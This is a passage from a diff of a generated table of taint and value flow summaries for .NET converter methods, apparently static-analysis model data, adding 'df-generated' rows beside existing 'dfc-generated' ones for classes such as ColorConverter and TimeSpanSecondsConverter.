System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;IApplicationSettingsProvider;GetPreviousVersion;(System.Configuration.SettingsContext,System.Configuration.SettingsProperty);Argument[this];ReturnValue;taint;df-generated | | System.Configuration;IConfigurationSectionHandler;Create;(System.Object,System.Object,System.Xml.XmlNode);Argument[0].Element;ReturnValue.Element;value;dfc-generated | | System.Configuration;IdnElement;get_Properties;();Argument[this];ReturnValue;taint;df-generated | @@ -9464,13 +9606,21 @@ summary | System.Configuration;InfiniteIntConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;InfiniteIntConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;InfiniteIntConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;InfiniteTimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;InfiniteTimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;InfiniteTimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;IntegerValidator;Validate;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Configuration;IntegerValidatorAttribute;get_ValidatorInstance;();Argument[this];ReturnValue;taint;df-generated | | System.Configuration;IriParsingElement;get_Properties;();Argument[this];ReturnValue;taint;df-generated | @@ -9620,23 +9770,39 @@ summary | System.Configuration;TimeSpanMinutesConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;TimeSpanMinutesConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;TimeSpanMinutesConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;TimeSpanSecondsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;TimeSpanSecondsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;TimeSpanSecondsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;TimeSpanValidator;TimeSpanValidator;(System.TimeSpan,System.TimeSpan,System.Boolean,System.Int64);Argument[0];Argument[this];taint;df-generated | | System.Configuration;TimeSpanValidator;TimeSpanValidator;(System.TimeSpan,System.TimeSpan,System.Boolean,System.Int64);Argument[1];Argument[this];taint;df-generated | | System.Configuration;TimeSpanValidator;Validate;(System.Object);Argument[0];Argument[this];taint;df-generated | @@ -9644,8 +9810,12 @@ summary | System.Configuration;TypeNameConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;TypeNameConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;TypeNameConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;UriSection;get_Idn;();Argument[this];ReturnValue;taint;df-generated | | System.Configuration;UriSection;get_IriParsing;();Argument[this];ReturnValue;taint;df-generated | | System.Configuration;UriSection;get_Properties;();Argument[this];ReturnValue;taint;df-generated | @@ -9654,8 +9824,12 @@ summary | System.Configuration;WhiteSpaceTrimStringConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;WhiteSpaceTrimStringConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;WhiteSpaceTrimStringConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Data.Common;DBDataPermission;Copy;();Argument[this];ReturnValue;value;dfc-generated | | System.Data.Common;DBDataPermission;Intersect;(System.Security.IPermission);Argument[0];ReturnValue;value;dfc-generated | | System.Data.Common;DBDataPermission;Union;(System.Security.IPermission);Argument[this];ReturnValue;taint;df-generated | @@ -11392,8 +11566,12 @@ summary | System.Drawing.Printing;MarginsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing.Printing;MarginsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing.Printing;MarginsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing.Printing;PageSettings;Clone;();Argument[this];ReturnValue;value;dfc-generated | | System.Drawing.Printing;PrintDocument;add_BeginPrint;(System.Drawing.Printing.PrintEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Drawing.Printing;PrintDocument;add_EndPrint;(System.Drawing.Printing.PrintEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -11431,9 +11609,14 @@ summary | System.Drawing;ColorConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;ColorConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;ColorConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;ColorConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.Drawing;ColorTranslator;ToHtml;(System.Drawing.Color);Argument[0].Property[System.Drawing.Color.Name];ReturnValue;value;dfc-generated | | System.Drawing;ColorTranslator;ToHtml;(System.Drawing.Color);Argument[0].SyntheticField[System.Drawing.Color.name];ReturnValue;value;dfc-generated | @@ -11450,8 +11633,12 @@ summary | System.Drawing;FontConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;FontConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;FontConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;FontConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;Graphics+DrawImageAbort;BeginInvoke;(System.IntPtr,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Drawing;Graphics+EnumerateMetafileProc;BeginInvoke;(System.Drawing.Imaging.EmfPlusRecordType,System.Int32,System.Int32,System.IntPtr,System.Drawing.Imaging.PlayRecordCallback,System.AsyncCallback,System.Object);Argument[4];Argument[4].Parameter[delegate-self];value;hq-generated | @@ -11506,8 +11693,12 @@ summary | System.Drawing;IconConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;IconConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;IconConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;Image+GetThumbnailImageAbort;BeginInvoke;(System.AsyncCallback,System.Object);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Drawing;Image;Clone;();Argument[this];ReturnValue;value;dfc-generated | | System.Drawing;Image;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;df-generated | @@ -11517,45 +11708,73 @@ summary | System.Drawing;ImageConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;ImageConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;ImageConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;ImageConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;ImageFormatConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;ImageFormatConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;ImageFormatConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;ImageFormatConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.Drawing;Pen;Clone;();Argument[this];ReturnValue;value;dfc-generated | | System.Drawing;PointConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;PointConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;PointConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | 